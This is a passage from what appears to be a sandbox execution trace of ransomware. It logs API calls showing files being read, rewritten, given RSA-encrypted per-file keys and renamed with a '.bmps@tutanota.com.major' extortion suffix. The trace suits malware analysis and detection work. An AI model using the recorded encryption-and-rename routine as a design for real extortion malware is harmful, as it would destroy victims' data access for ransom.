lpFileSize=0x2e3f9b8*=894) returned 1 [0142.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5a90 [0142.653] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5e18 [0142.653] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.669] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.669] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5e18*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e18 | out: hHeap=0x570000) returned 1 [0142.670] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x37e [0142.670] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.670] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.670] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.670] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.670] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.670] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="cy1Mwe9D8Vofz7OJR2aMpYaudHbvXVYSg7GC0SSGp99Zv1nGjGlSSrksIdiJb/ns\ng8x76PAAMCLn6OWAyibNwKcH0XHsD1yIZmi9Ue4fq0GI0q49aGVRc+aTWakACoa/\nkyxMibNYYcPBE6xYDMTPRsBT7IICfJv715JtCt6+huTIXuA3uBEARc4InV9ZB1hQ\nerSS+virE6ie1FrMHwj1ot+hJWyeQX/dBODpEDlPgnq8cwypyRJysE+YUw5xOQli\nnJHMUakpbRjNlPZ8YWQwRK6M+401qmSPRi0NtVMZQrZ58/LqeDy85MBetoBTLDKY\nBSaqACfImYtRMmfgsxckVQ==\n", pcchString=0x2e3f9a8) returned 1 [0142.670] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.670] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.670] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.670] CloseHandle (hObject=0x4f0) returned 1 [0142.671] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.671] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate3.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.673] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.673] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.673] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0142.673] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0142.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0142.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.673] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.673] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate2.ico", dwFileAttributes=0x80) returned 1 [0142.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0142.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.673] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0142.673] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.674] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=894) returned 1 [0142.674] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5a90 [0142.674] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5e18 [0142.674] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.695] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.695] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5e18*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e18 | out: hHeap=0x570000) returned 1 [0142.695] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x37e [0142.695] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.695] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.696] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.696] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.696] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.696] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="uptaZiC6Npb11W1UpKDystQDkAwFfneRImGiLMHu49zoU1zMqiSVIiI76GJdsY/4\n2Fryh41w6KOIbFKRbDQtg55XEgj71gZyOAv3kDBhwyRC5nLhNeHVPxspJLYizOEA\nN/KF7zRTFoaAxkrPP/qvKV5lmsZe0ui1SgI8rWihvba57BTcnQEEiK3MP8jIoWG4\nbBMj6ZTG7t4T3jjpEhE5gXIkLATtMRH/EqQ59S5Vlgs1OhzCFYYNMY5blMxxSogY\nk6OkTJyX6W/ycHcDReUKFuMVgfALdCtHABG4rUXLzFolSHDfrRfJb/VSdlfwNt5R\nInkGZXX7LIaXds1kOCN8ng==\n", pcchString=0x2e3f9a8) returned 1 [0142.696] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.696] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.696] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.696] CloseHandle (hObject=0x4f0) returned 1 [0142.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.696] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate2.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.704] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.704] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.704] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0142.704] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0142.704] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0142.704] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.704] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.704] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate1.ico", dwFileAttributes=0x80) returned 1 [0142.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0142.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.705] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0142.705] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.705] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=894) returned 1 [0142.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5a90 [0142.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5e18 [0142.705] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.712] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.712] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5e18*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e18 | out: hHeap=0x570000) returned 1 [0142.712] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x37e [0142.713] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.713] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.713] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.713] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.713] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.713] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="KDszVjJ0mr05Xd+OQUSOM+gVRoXZ/vW2nuq7PePqXCisFpU+NhGDiSevZS4DRFII\n6CpGgpg9uGW3YureQVGaLozgfODGXAT61xqSUmwCZPnVXzgfTawapEckYjnWhhVv\n29T+eKAf3+e2Jq2GnCE9mDsamocfPSGhrPTyxu+9nrLyc2EEG3i395y9pk2U3UUu\nXJ/QlhqUEjweE2DgqVwfa5M1+vctOsspoW41CGGUMQUFkfTgF8SNRxVSouc1Z3Tc\nOJRdQsxBIV36Z4Ww6bBwnMvpYQS/CddnaQAhhHicLxqLGkplmYxV2ZSYrViwjIwb\njF8LleZC4vg1vppcrLi+AQ==\n", pcchString=0x2e3f9a8) returned 1 [0142.713] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.713] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.713] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.713] CloseHandle (hObject=0x4f0) returned 1 [0142.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.714] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate1.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0142.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0142.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0142.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.716] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.716] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Print.ico", dwFileAttributes=0x80) returned 1 [0142.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0142.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.716] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0142.716] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.716] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1150) returned 1 [0142.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47e) returned 0x5b5a90 [0142.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47e) returned 0x60e878 [0142.716] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x47e, lpOverlapped=0x0) returned 1 [0142.718] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-1150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.718] WriteFile (in: hFile=0x4f0, lpBuffer=0x60e878*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e878*, lpNumberOfBytesWritten=0x2e3f9b4*=0x47e, lpOverlapped=0x0) returned 1 [0142.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e878 | out: hHeap=0x570000) returned 1 [0142.718] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x47e [0142.718] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.718] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.718] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.718] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.719] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.719] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="/S+MZIJngPYQWd6mMfd0AJ1h3X9Hrz4mWt27qOctbmfzfF4UZyVpWFaI+R9N0jmw\n0kHBxeN8pPSbT9+HLBrp9jiQyy1QtHGmuBIlsdfQQebKzTqlheL6lnrGBMowU/P0\nZciQY5DBjYDZK741C793t55AMl85zAz/xDQD7lCBWd7WPcupAthvtME50NtKAeu2\nk42hnS177GvXQoWrMQbXo12Xg5buiEhxM12WMxFqd4HPbzev+PO9NanTaueuqSRY\nasxokz3XU7pzGD1pfeg+39WKzeNcBgri9Pb18tiUVtiBPaywjQJbQeLxCk8h+M47\nOX7YJsww7Ddf9gf+UV5PSw==\n", pcchString=0x2e3f9a8) returned 1 [0142.719] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.719] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.719] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.719] CloseHandle (hObject=0x4f0) returned 1 [0142.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.719] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Print.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0142.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0142.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0142.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0142.722] FindFirstFileW (in: lpFileName="\\Boot\\bg-BG\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x80739b5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b56b0 [0142.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0142.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0142.722] GetLastError () returned 0x0 [0142.722] SetLastError (dwErrCode=0x0) [0142.722] GetLastError () returned 0x0 [0142.723] SetLastError (dwErrCode=0x0) [0142.723] GetLastError () returned 0x0 [0142.723] SetLastError (dwErrCode=0x0) [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0142.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b56f0 [0142.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b56f0 | out: hHeap=0x570000) returned 1 [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0142.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0142.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0142.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0142.723] FindNextFileW (in: hFindFile=0x5b56b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x80739b5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0142.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0142.723] GetLastError () returned 0x0 [0142.723] SetLastError (dwErrCode=0x0) [0142.723] 